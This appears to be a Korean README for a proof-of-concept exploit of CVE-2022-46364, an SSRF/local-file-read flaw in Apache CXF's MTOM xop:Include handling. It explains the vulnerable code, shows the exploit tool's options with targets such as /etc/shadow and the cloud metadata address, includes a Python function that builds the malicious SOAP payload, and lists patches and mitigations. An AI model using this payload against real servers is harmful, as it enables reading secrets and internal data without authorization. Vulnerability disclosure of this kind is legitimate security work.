
이 취약점을 통해 공격자는 MTOM/XOP 요청을 수락하는 Apache CXF 웹 서비스에 SSRF(서버 측 요청 위조) 공격을 수행할 수 있습니다. 문제는 xop:Include의 href 속성이 구문 분석되는 방식에 존재하며, 서버가 임의의 URL을 요청할 수 있게 합니다.
이 도구는 교육 목적 및 승인된 보안 테스트 전용입니다.
이 개념 증명 익스플로잇은 보안 전문가가 취약점을 이해하고 시스템을 보호할 수 있도록 교육 목적으로 제공됩니다. 승인되지 않은 컴퓨터 시스템 접근은 불법입니다. 저자는 이 도구의 오용이나 손해에 대해 어떠한 책임도 지지 않습니다. 테스트 전에 시스템 소유자로부터 명시적인 서면 허가를 받아야 합니다. 이 도구를 사용함으로써 귀하는 모든 관련 법률을 준수하는 데 동의합니다.
| 속성 | 값 |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| 취약점 유형 | 서버 측 요청 위조(SSRF) → 로컬 파일 포함(LFI) |
| 영향받는 소프트웨어 | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| 심각도 | Critical |
| CVSS 점수 | 9.8 (Critical) |
| 공격 벡터 | 네트워크 |
| 인증 필요 | 없음 |
| 패치 버전 | Apache CXF 3.5.5+, 3.4.10+ |
이 익스플로잇은 Apache CXF의 MTOM(Message Transmission Optimization Mechanism) 구현에서 중요한 SSRF 취약점을 활용하여 로컬 파일 포함(LFI) 및 내부 네트워크 스캔 기능을 달성합니다.
Apache CXF는 MTOM으로 인코딩된 SOAP 메시지를 처리할 때 xop:Include 요소 내의 href 속성을 잘못 검증합니다. 라이브러리는 프로토콜 제한 없이 Java의 URLConnection을 사용하여 URI를 역참조하므로, 공격자가 다음을 지정할 수 있습니다.
file:// - 로컬 파일 읽기(LFI)http:// / https:// - 내부 네트워크 요청(SSRF)ftp:// - FTP 요청(추가 악용 가능)이 취약점은 다음과 같은 이유로 특히 위험합니다.
다음 조건을 충족하는 모든 Apache CXF 배포:
MTOM(Message Transmission Optimization Mechanism)은 SOAP 메시지에서 이진 데이터 전송을 최적화하기 위한 W3C 표준입니다. XOP(XML-binary Optimized Packaging)를 사용하여 이진 데이터 참조를 포함합니다.
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
일반적으로 href는 MIME 부분에 대한 CID(Content-ID) 참조를 포함합니다. 그러나 Apache CXF의 AttachmentUtil 클래스는 적절한 삭제 없이 href 값을 일반 URI로 처리합니다.
요청 구문 분석:
Content-Type: application/xop+xml인 multipart/related HTTP 요청을 수신합니다.AttachmentUtil.getAttachmentObject()가 xop:Include 요소를 처리합니다.URI 역참조:
new URL(href).openStream()을 직접 호출합니다.file:// 프로토콜 차단이 없습니다.응답 포함:
// CXF < 3.5.5의 취약한 코드를 단순화한 표현
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // 프로토콜 검증 없음!
return new DataHandler(url.openStream());
}
file:// 프로토콜은 동일한 코드 경로를 따릅니다.
file:///etc/passwd → Java가 /etc/passwd를 파일 스트림으로 엽니다.IP와 포트를 반복함으로써 공격자는 다음을 수행할 수 있습니다.
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - 교육 목적으로만 사용
options:
-h, --help 이 도움말 메시지를 표시하고 종료
-t TARGET, --target TARGET
대상 기본 URL (예: http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
웹 서비스 엔드포인트 경로 (기본값: /services/Service)
-u URL, --url URL SSRF를 위한 외부 URL (예: http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE LFI를 위한 로컬 파일 경로 (예: /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN CIDR 표기법의 내부 네트워크 범위 스캔 (예: 192.168.1.0/24)
| 인수 | 설명 | 예시 |
|---|---|---|
-t, --target | 필수. 대상 Apache CXF 서비스의 기본 URL | http://10.10.10.50:8080 |
-e, --endpoint | 선택 사항. SOAP 엔드포인트 경로 | /services/UserManagement |
-u, --url | SSRF를 통해 가져올 HTTP/HTTPS URL | http://169.254.169.254/latest/user-data |
-f, --file | LFI를 통해 읽을 로컬 파일 경로 | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 이상 필요
python --version
# 저장소 복제
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### 요구 사항
requests>=2.28.0 urllib3>=1.26.0
---
### 핵심 구현 세부 정보
#### 1. MTOM 페이로드 구성
```python
def create_mtom_payload(uri):
"""xop:Include가 포함된 multipart/related MTOM 메시지 생성"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
패치된 버전으로 업그레이드하세요.
<!-- Maven 프로젝트의 경우 -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- 또는 레거시의 경우 3.4.10 -->
</dependency>
MTOM을 완전히 비활성화(필요하지 않은 경우):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
네트워크 수준 제어:
웹 애플리케이션 방화벽(WAF) 규칙:
href가 file:// 또는 내부 IP 주소를 가리키는 xop:Include가 포함된 요청 차단이 취약점은 다음 연구자에 의해 발견되고 책임감 있게 공개되었습니다.
이 도구는 교육 목적으로만 제공됩니다. 무단 사용은 금지됩니다.
이 소프트웨어는 "있는 그대로" 제공되며, 상품성, 특정 목적에의 적합성 및 비침해에 대한 보증을 포함하여
명시적이든 묵시적이든 어떠한 종류의 보증도 제공되지 않습니다. 어떠한 경우에도 저자 또는 저작권 보유자는
계약, 불법 행위 또는 기타 행위로 인해 발생하는 모든 청구, 손해 또는 기타 책임에 대해 책임을 지지 않습니다.
이는 소프트웨어의 사용 또는 기타 거래와 관련하여 발생하는 모든 것입니다.
마지막 업데이트: 2026년 3월
버전: 1.0
연락처: 보안 문제나 질문이 있으면 GitHub에서 이슈를 열어 주십시오.
이 문서는 책임 있는 보안 연구의 일부입니다. 테스트 전에 항상 적절한 승인을 받으십시오.